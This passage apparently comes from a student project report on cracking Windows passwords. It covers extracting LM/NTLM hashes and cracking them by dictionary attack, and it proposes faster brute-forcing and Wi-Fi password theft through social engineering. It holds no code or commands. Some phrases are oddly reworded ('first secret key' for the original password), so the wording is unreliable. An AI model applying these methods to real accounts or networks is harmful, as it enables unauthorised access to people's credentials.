
The software was first launched and the option Import Hashes from local machine was selected. 

This outputs all the hashes including local and administrative accounts.  
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6.6.3. Results of Hash recovery 

 

Figure 6.3 

6.6.4. Windows Password Kracker 

Windows Password Kracker is a free programming to recover the lost or overlooked Windows 

password. It can rapidly recoup the first windows password from either LM or NTLM Hash. 

Windows scrambles the login password utilizing LM or NTLM hash calculation. Since these are 

one way hash calculations we can't straightforwardly decode the hash to get back the first secret 

key. In such cases 'Windows Password Kracker' can help in recouping the windows password 

utilizing the dictionary crack method. 
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6.6.5. Results of Hash recovery 

The above hash is then uploaded in Windows Hashes Kracker. This software is particularly used 

to crack LM and NTLM hashes. As we know, windows 10 password is stored in form of NTLM 

hash, therefore the cracking process was carried out with ease. 

 

Figure 6.4 
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CHAPTER 7 

Future Work 

Following addition will also enhance the cracking capabilities of this project 

 By increasing the processing speed and the no of PCs the cracking time can be reduced in 

case of dictionary or brute force attack. 

 By using a very high signal strength wireless cards the social engineering attack can be 

made very effective and can actually fetch the Wi-Fi passwords within minutes 
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